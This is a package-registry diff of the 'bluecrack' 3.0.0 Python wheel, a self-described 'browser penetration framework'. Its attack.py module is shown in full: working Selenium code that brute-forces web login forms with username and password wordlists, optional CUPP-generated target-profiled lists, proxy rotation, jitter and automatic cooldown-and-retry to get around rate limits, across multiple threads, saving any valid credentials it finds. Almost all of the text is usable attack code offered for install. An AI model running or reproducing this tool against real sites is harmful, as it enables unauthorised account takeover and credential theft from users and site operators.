bluecrack 3.0.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- bluecrack/__init__.py +25 -0
- bluecrack/__main__.py +6 -0
- bluecrack/_version.py +3 -0
- bluecrack/attack.py +602 -0
- bluecrack/cli.py +219 -0
- bluecrack/constants.py +93 -0
- bluecrack/data/cupp.cfg +70 -0
- bluecrack/data/pass.txt +6 -0
- bluecrack/demo.py +501 -0
- bluecrack/doctor.py +201 -0
- bluecrack/engine.py +586 -0
- bluecrack/static/css/style.css +807 -0
- bluecrack/static/js/app.js +754 -0
- bluecrack/templates/index.html +398 -0
- bluecrack/utils.py +297 -0
- bluecrack/vendor/__init__.py +1 -0
- bluecrack/vendor/cupp.py +1090 -0
- bluecrack/web.py +423 -0
- bluecrack-3.0.0.dist-info/METADATA +374 -0
- bluecrack-3.0.0.dist-info/RECORD +24 -0
- bluecrack-3.0.0.dist-info/WHEEL +5 -0
- bluecrack-3.0.0.dist-info/entry_points.txt +2 -0
- bluecrack-3.0.0.dist-info/licenses/LICENSE +21 -0
- bluecrack-3.0.0.dist-info/top_level.txt +1 -0
bluecrack/__init__.py
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
"""
|
|
2
|
+
BlueCrack — Advanced Browser Penetration Framework
|
|
3
|
+
====================================================
|
|
4
|
+
Hydra-style credential auditing tool powered by Selenium WebDriver.
|
|
5
|
+
|
|
6
|
+
Usage::
|
|
7
|
+
|
|
8
|
+
# Install
|
|
9
|
+
pip install bluecrack
|
|
10
|
+
|
|
11
|
+
# Launch Web UI
|
|
12
|
+
bluecrack
|
|
13
|
+
|
|
14
|
+
# CLI attack mode
|
|
15
|
+
bluecrack attack -u admin -P passwords.txt --url https://target.com/login --error "failed"
|
|
16
|
+
|
|
17
|
+
# Environment diagnostics
|
|
18
|
+
bluecrack doctor
|
|
19
|
+
"""
|
|
20
|
+
|
|
21
|
+
from bluecrack._version import __version__
|
|
22
|
+
|
|
23
|
+
__all__ = [
|
|
24
|
+
"__version__",
|
|
25
|
+
]
|
bluecrack/__main__.py
ADDED
bluecrack/_version.py
ADDED
bluecrack/attack.py
ADDED
|
@@ -0,0 +1,602 @@
|
|
|
1
|
+
"""
|
|
2
|
+
BlueCrack CLI Attack Module
|
|
3
|
+
============================
|
|
4
|
+
Brute-force attack controller for CLI and Interactive Wizard modes.
|
|
5
|
+
"""
|
|
6
|
+
|
|
7
|
+
import sys
|
|
8
|
+
import os
|
|
9
|
+
import random
|
|
10
|
+
import time
|
|
11
|
+
import signal
|
|
12
|
+
import threading
|
|
13
|
+
import argparse
|
|
14
|
+
from queue import Queue
|
|
15
|
+
from typing import Any, Dict, List, Optional, Set, Tuple
|
|
16
|
+
|
|
17
|
+
from selenium import webdriver
|
|
18
|
+
from selenium.common.exceptions import (
|
|
19
|
+
NoSuchElementException,
|
|
20
|
+
WebDriverException,
|
|
21
|
+
)
|
|
22
|
+
from selenium.webdriver.common.by import By
|
|
23
|
+
from selenium.webdriver.common.keys import Keys
|
|
24
|
+
|
|
25
|
+
from .constants import (
|
|
26
|
+
CSS_PATH_JS,
|
|
27
|
+
AUTO_DETECT_JS,
|
|
28
|
+
CLICK_LISTENER_JS,
|
|
29
|
+
HAS_KEYBOARD,
|
|
30
|
+
_GREEN,
|
|
31
|
+
_RED,
|
|
32
|
+
_YELLOW,
|
|
33
|
+
_CYAN,
|
|
34
|
+
_BLUE,
|
|
35
|
+
_RESET,
|
|
36
|
+
_BOLD,
|
|
37
|
+
)
|
|
38
|
+
from .utils import (
|
|
39
|
+
build_chrome_options,
|
|
40
|
+
create_driver_safe,
|
|
41
|
+
change_tor_ip,
|
|
42
|
+
save_json_report,
|
|
43
|
+
)
|
|
44
|
+
|
|
45
|
+
if HAS_KEYBOARD:
|
|
46
|
+
try:
|
|
47
|
+
import keyboard
|
|
48
|
+
except ImportError:
|
|
49
|
+
pass
|
|
50
|
+
|
|
51
|
+
|
|
52
|
+
def run_attack_cli(args: argparse.Namespace) -> None:
|
|
53
|
+
"""Run CLI credential auditing engine."""
|
|
54
|
+
_GLOBAL_STOP: threading.Event = threading.Event()
|
|
55
|
+
_FOUND_EVENT: threading.Event = threading.Event()
|
|
56
|
+
|
|
57
|
+
def _signal_handler(sig: int, frame: Any) -> None:
|
|
58
|
+
"""Handle Ctrl+C / Ctrl+X for graceful shutdown."""
|
|
59
|
+
print(f"\n{_YELLOW}[!] Caught Ctrl+C / Ctrl+X — stopping gracefully...{_RESET}")
|
|
60
|
+
_GLOBAL_STOP.set()
|
|
61
|
+
_FOUND_EVENT.set()
|
|
62
|
+
|
|
63
|
+
# Save original signal handler, register ours, restore on exit
|
|
64
|
+
old_sig = signal.signal(signal.SIGINT, _signal_handler)
|
|
65
|
+
|
|
66
|
+
try:
|
|
67
|
+
# INTERACTIVE MODE
|
|
68
|
+
auto_detect = False
|
|
69
|
+
if args.interactive:
|
|
70
|
+
print(f"\n{_CYAN}--- WIZARD MODE ---{_RESET}")
|
|
71
|
+
|
|
72
|
+
# CUPP Integration
|
|
73
|
+
run_cupp = (
|
|
74
|
+
input("\nGenerate a targeted wordlist first using CUPP? (y/n) [default: n]: ")
|
|
75
|
+
.strip()
|
|
76
|
+
.lower()
|
|
77
|
+
== "y"
|
|
78
|
+
)
|
|
79
|
+
if run_cupp:
|
|
80
|
+
print(
|
|
81
|
+
f"\n{_YELLOW}--- LAUNCHING CUPP (Common User Passwords Profiler) ---{_RESET}"
|
|
82
|
+
)
|
|
83
|
+
os.system(f"{sys.executable} -m bluecrack.vendor.cupp -i")
|
|
84
|
+
print(
|
|
85
|
+
f"\n{_GREEN}[+] CUPP completed! Make sure to remember the saved filename.{_RESET}\n"
|
|
86
|
+
)
|
|
87
|
+
|
|
88
|
+
args.url = input("\nEnter Target URL: ").strip()
|
|
89
|
+
args.username = (
|
|
90
|
+
input("Enter single username to test (leave blank to skip): ").strip() or None
|
|
91
|
+
)
|
|
92
|
+
if not args.username:
|
|
93
|
+
args.userfile = input("Enter path to usernames list file: ").strip() or None
|
|
94
|
+
|
|
95
|
+
# Get password approach correctly in wizard
|
|
96
|
+
single_pass = input("Enter single password to test (leave blank to skip): ").strip()
|
|
97
|
+
if single_pass:
|
|
98
|
+
args.password = single_pass
|
|
99
|
+
args.passfile = None
|
|
100
|
+
else:
|
|
101
|
+
args.password = None
|
|
102
|
+
args.passfile = input("Enter path to passwords list file: ").strip() or None
|
|
103
|
+
|
|
104
|
+
threads_in_str = input("Enter number of threads [default: 1]: ").strip()
|
|
105
|
+
args.threads = int(threads_in_str) if threads_in_str.isdigit() else 1
|
|
106
|
+
|
|
107
|
+
err_in_str = input("Enter error string to check (default: empty): ").strip()
|
|
108
|
+
if err_in_str:
|
|
109
|
+
args.error = err_in_str
|
|
110
|
+
|
|
111
|
+
succ_in_str = input("Enter success string to check (default: empty): ").strip()
|
|
112
|
+
if succ_in_str:
|
|
113
|
+
args.success = succ_in_str
|
|
114
|
+
|
|
115
|
+
delay_in_str = input(
|
|
116
|
+
"Enter general delay between attempts in seconds [default: 0]: "
|
|
117
|
+
).strip()
|
|
118
|
+
args.delay = (
|
|
119
|
+
float(delay_in_str) if delay_in_str.replace(".", "", 1).isdigit() else 0.0
|
|
120
|
+
)
|
|
121
|
+
|
|
122
|
+
jitter_in_str = input(
|
|
123
|
+
"Enter jitter/randomizer up to X seconds [default: 0.0]: "
|
|
124
|
+
).strip()
|
|
125
|
+
args.jitter = (
|
|
126
|
+
float(jitter_in_str) if jitter_in_str.replace(".", "", 1).isdigit() else 0.0
|
|
127
|
+
)
|
|
128
|
+
|
|
129
|
+
use_proxy = input("Use proxy? (y/n) [default: n]: ").strip().lower() == "y"
|
|
130
|
+
if use_proxy:
|
|
131
|
+
p_file = input(
|
|
132
|
+
"Enter path to proxy list file (or hit enter to use single proxy): "
|
|
133
|
+
).strip()
|
|
134
|
+
if p_file:
|
|
135
|
+
args.proxyfile = p_file
|
|
136
|
+
else:
|
|
137
|
+
args.proxy = input(
|
|
138
|
+
"Enter proxy IP:PORT (e.g., http://1.2.3.4:8080): "
|
|
139
|
+
).strip()
|
|
140
|
+
|
|
141
|
+
rl_bypass = (
|
|
142
|
+
input("Enable Auto-Throttle for Rate Limits? (y/n) [default: y]: ")
|
|
143
|
+
.strip()
|
|
144
|
+
.lower()
|
|
145
|
+
!= "n"
|
|
146
|
+
)
|
|
147
|
+
args.cooldown = 12 if rl_bypass else 0
|
|
148
|
+
if rl_bypass:
|
|
149
|
+
rl_text = input(
|
|
150
|
+
"Enter Rate Limit text to detect [default: 'too many requests']: "
|
|
151
|
+
).strip()
|
|
152
|
+
if rl_text:
|
|
153
|
+
args.limit_text = rl_text
|
|
154
|
+
|
|
155
|
+
max_att_str = input("Max attempts (0=unlimited) [default: 0]: ").strip()
|
|
156
|
+
args.max_attempts = int(max_att_str) if max_att_str.isdigit() else 0
|
|
157
|
+
|
|
158
|
+
cont_str = input(
|
|
159
|
+
"Continue testing after finding credentials? (y/n) [default: n]: "
|
|
160
|
+
).strip().lower()
|
|
161
|
+
args.continue_after_success = cont_str == "y"
|
|
162
|
+
|
|
163
|
+
auto_detect = (
|
|
164
|
+
input("Auto-detect CSS selectors instead of clicking? (y/n) [default: y]: ")
|
|
165
|
+
.strip()
|
|
166
|
+
.lower()
|
|
167
|
+
!= "n"
|
|
168
|
+
)
|
|
169
|
+
else:
|
|
170
|
+
auto_detect = False
|
|
171
|
+
if not args.url:
|
|
172
|
+
raise SystemExit(f"{_RED}[-] Provide --url or use -i wizard{_RESET}")
|
|
173
|
+
|
|
174
|
+
if not args.username and not args.userfile:
|
|
175
|
+
raise SystemExit(f"{_RED}[-] Provide -u USER or -U USERFILE{_RESET}")
|
|
176
|
+
|
|
177
|
+
if not args.password and not args.passfile:
|
|
178
|
+
raise SystemExit(f"{_RED}[-] Provide -p PASS or -P PASSLIST{_RESET}")
|
|
179
|
+
|
|
180
|
+
# LOAD USERNAMES
|
|
181
|
+
users: List[str] = []
|
|
182
|
+
if args.username:
|
|
183
|
+
users.append(args.username)
|
|
184
|
+
if args.userfile:
|
|
185
|
+
with open(args.userfile, "r", encoding="utf-8", errors="ignore") as f:
|
|
186
|
+
for line in f:
|
|
187
|
+
users.append(line.strip())
|
|
188
|
+
|
|
189
|
+
# LOAD PASSWORDS
|
|
190
|
+
passwords: List[str] = []
|
|
191
|
+
if args.password:
|
|
192
|
+
passwords.append(args.password)
|
|
193
|
+
if args.passfile:
|
|
194
|
+
with open(args.passfile, "r", encoding="utf-8", errors="ignore") as f:
|
|
195
|
+
for line in f:
|
|
196
|
+
px = line.strip()
|
|
197
|
+
if px:
|
|
198
|
+
passwords.append(px)
|
|
199
|
+
|
|
200
|
+
# LOAD PROXIES
|
|
201
|
+
proxies: List[str] = []
|
|
202
|
+
if args.proxy:
|
|
203
|
+
proxies.append(args.proxy)
|
|
204
|
+
if args.proxyfile:
|
|
205
|
+
with open(args.proxyfile, "r", encoding="utf-8", errors="ignore") as f:
|
|
206
|
+
for line in f:
|
|
207
|
+
if line.strip():
|
|
208
|
+
proxies.append(line.strip())
|
|
209
|
+
|
|
210
|
+
USERNAME_FIXED: Optional[str] = users[0] if len(users) == 1 else None
|
|
211
|
+
WORDLIST: str = f"{len(passwords)} passwords loaded for {len(users)} users"
|
|
212
|
+
PROXY_INFO: str = f"{len(proxies)} proxies loaded" if proxies else "No Proxies"
|
|
213
|
+
|
|
214
|
+
THREADS: int = args.threads
|
|
215
|
+
TARGET_URL: str = args.url
|
|
216
|
+
if (
|
|
217
|
+
TARGET_URL
|
|
218
|
+
and not TARGET_URL.startswith("http://")
|
|
219
|
+
and not TARGET_URL.startswith("https://")
|
|
220
|
+
):
|
|
221
|
+
TARGET_URL = "http://" + TARGET_URL
|
|
222
|
+
|
|
223
|
+
ERROR_MSG: Optional[str] = args.error.lower() if args.error else None
|
|
224
|
+
SUCCESS_MSG: Optional[str] = args.success.lower() if args.success else None
|
|
225
|
+
LIMIT_TEXT: Optional[str] = args.limit_text.lower() if args.limit_text else None
|
|
226
|
+
COOLDOWN: int = args.cooldown
|
|
227
|
+
DELAY: float = args.delay
|
|
228
|
+
JITTER: float = args.jitter
|
|
229
|
+
RUN_HEADLESS: bool = args.headless
|
|
230
|
+
MAX_ATTEMPTS: int = args.max_attempts
|
|
231
|
+
CONTINUE_AFTER_SUCCESS: bool = args.continue_after_success
|
|
232
|
+
OUTPUT_FILE: str = args.output
|
|
233
|
+
JSON_REPORT: bool = args.json_report
|
|
234
|
+
|
|
235
|
+
# LAUNCH SELENIUM (setup browser)
|
|
236
|
+
driver = webdriver.Chrome()
|
|
237
|
+
driver.get(TARGET_URL)
|
|
238
|
+
|
|
239
|
+
username_selector: Optional[str] = None
|
|
240
|
+
password_selector: Optional[str] = None
|
|
241
|
+
|
|
242
|
+
print("\n==============================")
|
|
243
|
+
print(" BROWSER BRUTE TESTER")
|
|
244
|
+
print("==============================\n")
|
|
245
|
+
print(f"Target URL: {TARGET_URL}")
|
|
246
|
+
print(f"User: {USERNAME_FIXED}")
|
|
247
|
+
print(f"Wordlist: {WORDLIST}")
|
|
248
|
+
print(f"Proxies: {PROXY_INFO}")
|
|
249
|
+
print(f"Threads: {THREADS}")
|
|
250
|
+
print(f"Delay/Jitter: {DELAY}s / {JITTER}s")
|
|
251
|
+
if MAX_ATTEMPTS > 0:
|
|
252
|
+
print(f"Max Attempts: {MAX_ATTEMPTS}")
|
|
253
|
+
if CONTINUE_AFTER_SUCCESS:
|
|
254
|
+
print(f"{_CYAN}[*] Will continue after finding credentials{_RESET}")
|
|
255
|
+
|
|
256
|
+
# Inject JS to track last clicked element
|
|
257
|
+
driver.execute_script(CLICK_LISTENER_JS)
|
|
258
|
+
|
|
259
|
+
# GENERATE CSS SELECTOR FROM CLICKED ELEMENT
|
|
260
|
+
def get_css_selector() -> Optional[str]:
|
|
261
|
+
elem = driver.execute_script("return window._lastClicked")
|
|
262
|
+
if elem is None:
|
|
263
|
+
return None
|
|
264
|
+
return driver.execute_script(CSS_PATH_JS, elem)
|
|
265
|
+
|
|
266
|
+
if auto_detect:
|
|
267
|
+
print(f"\n{_CYAN}[*] Auto-detecting login form fields...{_RESET}")
|
|
268
|
+
time.sleep(2)
|
|
269
|
+
try:
|
|
270
|
+
driver.execute_script(AUTO_DETECT_JS)
|
|
271
|
+
detected_selectors = driver.execute_script("return window._autoFindFields();")
|
|
272
|
+
if detected_selectors and detected_selectors[0] and detected_selectors[1]:
|
|
273
|
+
username_selector, password_selector = detected_selectors
|
|
274
|
+
print(f"{_GREEN}[+] AUTO-DETECTED Username: {username_selector}{_RESET}")
|
|
275
|
+
print(f"{_GREEN}[+] AUTO-DETECTED Password: {password_selector}{_RESET}")
|
|
276
|
+
else:
|
|
277
|
+
print(f"{_RED}[-] Auto-detect failed. Please lock manually.{_RESET}")
|
|
278
|
+
auto_detect = False
|
|
279
|
+
except Exception as e:
|
|
280
|
+
print(
|
|
281
|
+
f"{_RED}[-] Auto-detect script failed: {e}. Switching to manual mode.{_RESET}"
|
|
282
|
+
)
|
|
283
|
+
auto_detect = False
|
|
284
|
+
|
|
285
|
+
# WAIT FOR USER TO LOCK FIELDS
|
|
286
|
+
if not auto_detect:
|
|
287
|
+
print(f"\n{_CYAN}[>] CLICK username field → press S{_RESET}")
|
|
288
|
+
print(f"{_CYAN}[>] CLICK password field → press T{_RESET}")
|
|
289
|
+
print(f"{_CYAN}[>] Press ENTER to start brute{_RESET}\n")
|
|
290
|
+
|
|
291
|
+
if not HAS_KEYBOARD:
|
|
292
|
+
raise SystemExit(f"{_RED}[-] keyboard library not available. Auto-detect failed and manual override requires keyboard library.{_RESET}")
|
|
293
|
+
|
|
294
|
+
while username_selector is None or password_selector is None:
|
|
295
|
+
if keyboard.is_pressed("s"):
|
|
296
|
+
css = get_css_selector()
|
|
297
|
+
if css:
|
|
298
|
+
username_selector = css
|
|
299
|
+
print(f"{_BLUE}[+] Username selector LOCKED: {css}{_RESET}")
|
|
300
|
+
time.sleep(0.3)
|
|
301
|
+
if keyboard.is_pressed("t"):
|
|
302
|
+
css = get_css_selector()
|
|
303
|
+
if css:
|
|
304
|
+
password_selector = css
|
|
305
|
+
print(f"{_BLUE}[+] Password selector LOCKED: {css}{_RESET}")
|
|
306
|
+
time.sleep(0.3)
|
|
307
|
+
|
|
308
|
+
print("\nSelectors locked! Press ENTER to launch brute...")
|
|
309
|
+
|
|
310
|
+
# TEST THE SELECTORS IMMEDIATELY
|
|
311
|
+
driver.find_element(By.CSS_SELECTOR, username_selector)
|
|
312
|
+
driver.find_element(By.CSS_SELECTOR, password_selector)
|
|
313
|
+
|
|
314
|
+
if HAS_KEYBOARD:
|
|
315
|
+
keyboard.wait("enter")
|
|
316
|
+
else:
|
|
317
|
+
time.sleep(1)
|
|
318
|
+
|
|
319
|
+
# Close the initial setup driver
|
|
320
|
+
try:
|
|
321
|
+
driver.quit()
|
|
322
|
+
except Exception:
|
|
323
|
+
pass
|
|
324
|
+
|
|
325
|
+
# LOAD WORDLIST INTO QUEUE
|
|
326
|
+
q: Queue = Queue(maxsize=1000)
|
|
327
|
+
total_combos: int = len(users) * len(passwords)
|
|
328
|
+
|
|
329
|
+
# CLI metrics
|
|
330
|
+
_cli_metrics: Dict[str, int] = {
|
|
331
|
+
"attempted": 0,
|
|
332
|
+
"successes": 0,
|
|
333
|
+
"failures": 0,
|
|
334
|
+
"errors": 0,
|
|
335
|
+
"rate_limit_hits": 0,
|
|
336
|
+
"skipped_empty": 0,
|
|
337
|
+
"requeued": 0,
|
|
338
|
+
}
|
|
339
|
+
_cli_metrics_lock = threading.Lock()
|
|
340
|
+
_cli_found_creds: List[Tuple[str, str]] = []
|
|
341
|
+
_cli_found_creds_lock = threading.Lock()
|
|
342
|
+
_cli_found_users: Set[str] = set()
|
|
343
|
+
_cli_found_users_lock = threading.Lock()
|
|
344
|
+
_cli_start_time: float = time.time()
|
|
345
|
+
|
|
346
|
+
def populate() -> None:
|
|
347
|
+
for user in users:
|
|
348
|
+
for pwd in passwords:
|
|
349
|
+
q.put((user, pwd))
|
|
350
|
+
|
|
351
|
+
threading.Thread(target=populate, daemon=True).start()
|
|
352
|
+
|
|
353
|
+
# WORKER FUNCTION
|
|
354
|
+
def worker() -> None:
|
|
355
|
+
ctx: Dict[str, Any] = {
|
|
356
|
+
"headless": RUN_HEADLESS,
|
|
357
|
+
"proxies": proxies,
|
|
358
|
+
"use_tor": False,
|
|
359
|
+
}
|
|
360
|
+
options = build_chrome_options(ctx)
|
|
361
|
+
thread_driver = create_driver_safe(options)
|
|
362
|
+
if thread_driver is None:
|
|
363
|
+
print(f"{_RED}[-] Thread startup error: could not create WebDriver{_RESET}")
|
|
364
|
+
return
|
|
365
|
+
|
|
366
|
+
try:
|
|
367
|
+
while not q.empty() and not _FOUND_EVENT.is_set() and not _GLOBAL_STOP.is_set():
|
|
368
|
+
# Check max attempts
|
|
369
|
+
if MAX_ATTEMPTS > 0:
|
|
370
|
+
with _cli_metrics_lock:
|
|
371
|
+
if _cli_metrics["attempted"] >= MAX_ATTEMPTS:
|
|
372
|
+
break
|
|
373
|
+
|
|
374
|
+
# Check if we should stop (non-continue mode)
|
|
375
|
+
if not CONTINUE_AFTER_SUCCESS and _FOUND_EVENT.is_set():
|
|
376
|
+
break
|
|
377
|
+
|
|
378
|
+
try:
|
|
379
|
+
user, pwd = q.get(timeout=1)
|
|
380
|
+
except Exception:
|
|
381
|
+
break
|
|
382
|
+
|
|
383
|
+
# Skip empty passwords
|
|
384
|
+
if not pwd or str(pwd).strip() == "":
|
|
385
|
+
with _cli_metrics_lock:
|
|
386
|
+
_cli_metrics["skipped_empty"] += 1
|
|
387
|
+
q.task_done()
|
|
388
|
+
continue
|
|
389
|
+
|
|
390
|
+
# Skip already solved users (unless continue mode)
|
|
391
|
+
if not CONTINUE_AFTER_SUCCESS:
|
|
392
|
+
with _cli_found_users_lock:
|
|
393
|
+
if user in _cli_found_users:
|
|
394
|
+
q.task_done()
|
|
395
|
+
continue
|
|
396
|
+
|
|
397
|
+
try:
|
|
398
|
+
if _FOUND_EVENT.is_set() and not CONTINUE_AFTER_SUCCESS:
|
|
399
|
+
break
|
|
400
|
+
if _GLOBAL_STOP.is_set():
|
|
401
|
+
break
|
|
402
|
+
|
|
403
|
+
# Add delay if configured
|
|
404
|
+
actual_delay: float = DELAY
|
|
405
|
+
if JITTER > 0.0:
|
|
406
|
+
actual_delay += random.uniform(0, JITTER)
|
|
407
|
+
|
|
408
|
+
if actual_delay > 0.0:
|
|
409
|
+
for _ in range(int(actual_delay * 10)):
|
|
410
|
+
if _FOUND_EVENT.is_set() and not CONTINUE_AFTER_SUCCESS:
|
|
411
|
+
break
|
|
412
|
+
time.sleep(0.1)
|
|
413
|
+
|
|
414
|
+
if (_FOUND_EVENT.is_set() and not CONTINUE_AFTER_SUCCESS) or _GLOBAL_STOP.is_set():
|
|
415
|
+
break
|
|
416
|
+
|
|
417
|
+
thread_driver.get(TARGET_URL)
|
|
418
|
+
if (_FOUND_EVENT.is_set() and not CONTINUE_AFTER_SUCCESS) or _GLOBAL_STOP.is_set():
|
|
419
|
+
break
|
|
420
|
+
|
|
421
|
+
try:
|
|
422
|
+
u = thread_driver.find_element(By.CSS_SELECTOR, username_selector)
|
|
423
|
+
p = thread_driver.find_element(By.CSS_SELECTOR, password_selector)
|
|
424
|
+
u.clear()
|
|
425
|
+
u.send_keys(user)
|
|
426
|
+
p.clear()
|
|
427
|
+
p.send_keys(pwd)
|
|
428
|
+
p.send_keys(Keys.ENTER)
|
|
429
|
+
|
|
430
|
+
with _cli_metrics_lock:
|
|
431
|
+
_cli_metrics["attempted"] += 1
|
|
432
|
+
attempt_num = _cli_metrics["attempted"]
|
|
433
|
+
|
|
434
|
+
if (_FOUND_EVENT.is_set() and not CONTINUE_AFTER_SUCCESS) or _GLOBAL_STOP.is_set():
|
|
435
|
+
break
|
|
436
|
+
|
|
437
|
+
print(
|
|
438
|
+
f"[{attempt_num}/{total_combos}] {_CYAN}[*]{_RESET} Trying: {user} / {pwd}"
|
|
439
|
+
)
|
|
440
|
+
|
|
441
|
+
# Wait for login to process
|
|
442
|
+
for _ in range(20):
|
|
443
|
+
if _FOUND_EVENT.is_set() and not CONTINUE_AFTER_SUCCESS:
|
|
444
|
+
break
|
|
445
|
+
time.sleep(0.1)
|
|
446
|
+
|
|
447
|
+
if (_FOUND_EVENT.is_set() and not CONTINUE_AFTER_SUCCESS) or _GLOBAL_STOP.is_set():
|
|
448
|
+
break
|
|
449
|
+
|
|
450
|
+
# Check page
|
|
451
|
+
page_source: str = thread_driver.page_source.lower()
|
|
452
|
+
current_url: str = thread_driver.current_url
|
|
453
|
+
|
|
454
|
+
# Check for rate limiting first
|
|
455
|
+
if LIMIT_TEXT and LIMIT_TEXT in page_source:
|
|
456
|
+
print(
|
|
457
|
+
f"[{attempt_num}/{total_combos}] {_YELLOW}[!] Rate Limit detected ('{LIMIT_TEXT}')!{_RESET}"
|
|
458
|
+
)
|
|
459
|
+
with _cli_metrics_lock:
|
|
460
|
+
_cli_metrics["rate_limit_hits"] += 1
|
|
461
|
+
if COOLDOWN > 0:
|
|
462
|
+
print(
|
|
463
|
+
f"{_CYAN}[~] Bypassing... Sleeping {COOLDOWN} seconds before retrying {user}/{pwd}{_RESET}"
|
|
464
|
+
)
|
|
465
|
+
for _ in range(COOLDOWN * 10):
|
|
466
|
+
if _FOUND_EVENT.is_set() and not CONTINUE_AFTER_SUCCESS:
|
|
467
|
+
break
|
|
468
|
+
time.sleep(0.1)
|
|
469
|
+
if not _FOUND_EVENT.is_set() or CONTINUE_AFTER_SUCCESS:
|
|
470
|
+
q.put((user, pwd))
|
|
471
|
+
with _cli_metrics_lock:
|
|
472
|
+
_cli_metrics["requeued"] += 1
|
|
473
|
+
else:
|
|
474
|
+
print(
|
|
475
|
+
f"{_RED}[-] Rate limit hit, skipping {user}/{pwd}...{_RESET}"
|
|
476
|
+
)
|
|
477
|
+
q.task_done()
|
|
478
|
+
continue
|
|
479
|
+
|
|
480
|
+
# Check explicit error
|
|
481
|
+
if ERROR_MSG and ERROR_MSG in page_source:
|
|
482
|
+
with _cli_metrics_lock:
|
|
483
|
+
_cli_metrics["failures"] += 1
|
|
484
|
+
q.task_done()
|
|
485
|
+
continue
|
|
486
|
+
|
|
487
|
+
# Determine success
|
|
488
|
+
is_success = False
|
|
489
|
+
if SUCCESS_MSG:
|
|
490
|
+
if SUCCESS_MSG in page_source:
|
|
491
|
+
is_success = True
|
|
492
|
+
else:
|
|
493
|
+
with _cli_metrics_lock:
|
|
494
|
+
_cli_metrics["failures"] += 1
|
|
495
|
+
q.task_done()
|
|
496
|
+
continue
|
|
497
|
+
elif current_url != TARGET_URL and "login" not in current_url.lower():
|
|
498
|
+
is_success = True
|
|
499
|
+
elif ERROR_MSG:
|
|
500
|
+
is_success = True
|
|
501
|
+
|
|
502
|
+
if is_success:
|
|
503
|
+
print(
|
|
504
|
+
f"\n{_GREEN}{_BOLD}[+] VALID CREDENTIALS FOUND: {user} / {pwd}{_RESET}\n"
|
|
505
|
+
)
|
|
506
|
+
with _cli_metrics_lock:
|
|
507
|
+
_cli_metrics["successes"] += 1
|
|
508
|
+
with _cli_found_creds_lock:
|
|
509
|
+
_cli_found_creds.append((user, pwd))
|
|
510
|
+
with _cli_found_users_lock:
|
|
511
|
+
_cli_found_users.add(user)
|
|
512
|
+
|
|
513
|
+
try:
|
|
514
|
+
with open(OUTPUT_FILE, "a", encoding="utf-8") as cf:
|
|
515
|
+
cf.write(f"{TARGET_URL} - {user}:{pwd}\n")
|
|
516
|
+
except Exception as e:
|
|
517
|
+
print(f"{_RED}[-] Could not save credential: {e}{_RESET}")
|
|
518
|
+
|
|
519
|
+
if not CONTINUE_AFTER_SUCCESS:
|
|
520
|
+
_FOUND_EVENT.set()
|
|
521
|
+
with q.mutex:
|
|
522
|
+
q.queue.clear()
|
|
523
|
+
q.task_done()
|
|
524
|
+
break
|
|
525
|
+
else:
|
|
526
|
+
with _cli_metrics_lock:
|
|
527
|
+
_cli_metrics["failures"] += 1
|
|
528
|
+
|
|
529
|
+
except (NoSuchElementException, WebDriverException) as e:
|
|
530
|
+
with _cli_metrics_lock:
|
|
531
|
+
_cli_metrics["errors"] += 1
|
|
532
|
+
print(
|
|
533
|
+
f"{_RED}[-] Error during attempt with '{user} / {pwd}': element not found or page load issue.{_RESET}"
|
|
534
|
+
)
|
|
535
|
+
except Exception as e:
|
|
536
|
+
with _cli_metrics_lock:
|
|
537
|
+
_cli_metrics["errors"] += 1
|
|
538
|
+
print(f"{_RED}[-] Navigation or unexpected error: {e}{_RESET}")
|
|
539
|
+
finally:
|
|
540
|
+
q.task_done()
|
|
541
|
+
finally:
|
|
542
|
+
try:
|
|
543
|
+
thread_driver.quit()
|
|
544
|
+
except Exception:
|
|
545
|
+
pass
|
|
546
|
+
|
|
547
|
+
# THREAD LAUNCHER
|
|
548
|
+
threads_list: List[threading.Thread] = []
|
|
549
|
+
print(f"\n[*] Starting {THREADS} threads...\n")
|
|
550
|
+
try:
|
|
551
|
+
for _ in range(THREADS):
|
|
552
|
+
t = threading.Thread(target=worker)
|
|
553
|
+
t.daemon = True
|
|
554
|
+
t.start()
|
|
555
|
+
threads_list.append(t)
|
|
556
|
+
|
|
557
|
+
# Wait for completion
|
|
558
|
+
while not q.empty() and not _FOUND_EVENT.is_set() and not _GLOBAL_STOP.is_set():
|
|
559
|
+
time.sleep(0.1)
|
|
560
|
+
|
|
561
|
+
if not _FOUND_EVENT.is_set():
|
|
562
|
+
q.join()
|
|
563
|
+
|
|
564
|
+
cli_end_time = time.time()
|
|
565
|
+
|
|
566
|
+
if not _FOUND_EVENT.is_set():
|
|
567
|
+
print(f"\n{_RED}[-] Finished testing. No valid credentials found.{_RESET}")
|
|
568
|
+
else:
|
|
569
|
+
print(f"\n{_GREEN}[+] Finished testing. Valid credentials found!{_RESET}")
|
|
570
|
+
|
|
571
|
+
# Print summary
|
|
572
|
+
print(f"\n{_CYAN}═══ Attack Summary ═══{_RESET}")
|
|
573
|
+
for k, v in _cli_metrics.items():
|
|
574
|
+
print(f" {k}: {v}")
|
|
575
|
+
elapsed = cli_end_time - _cli_start_time
|
|
576
|
+
print(f" elapsed: {elapsed:.1f}s")
|
|
577
|
+
if _cli_metrics["attempted"] > 0 and elapsed > 0:
|
|
578
|
+
print(f" speed: {_cli_metrics['attempted'] / elapsed:.1f} attempts/s")
|
|
579
|
+
|
|
580
|
+
# Save JSON report if requested
|
|
581
|
+
if JSON_REPORT:
|
|
582
|
+
save_json_report(
|
|
583
|
+
"bluecrack_cli_report.json",
|
|
584
|
+
TARGET_URL,
|
|
585
|
+
_cli_metrics,
|
|
586
|
+
_cli_found_creds,
|
|
587
|
+
_cli_start_time,
|
|
588
|
+
cli_end_time,
|
|
589
|
+
)
|
|
590
|
+
print(f"{_GREEN}[+] JSON report saved to bluecrack_cli_report.json{_RESET}")
|
|
591
|
+
|
|
592
|
+
except KeyboardInterrupt:
|
|
593
|
+
print(f"\n{_YELLOW}[!] Interrupted by user (Ctrl+C). Exiting gracefully...{_RESET}")
|
|
594
|
+
_FOUND_EVENT.set()
|
|
595
|
+
_GLOBAL_STOP.set()
|
|
596
|
+
finally:
|
|
597
|
+
if _GLOBAL_STOP.is_set() and not _FOUND_EVENT.is_set():
|
|
598
|
+
print(f"\n{_YELLOW}[!] Stopped by signal. Cleaning up...{_RESET}")
|
|
599
|
+
|
|
600
|
+
finally:
|
|
601
|
+
# Restore original signal handler
|
|
602
|
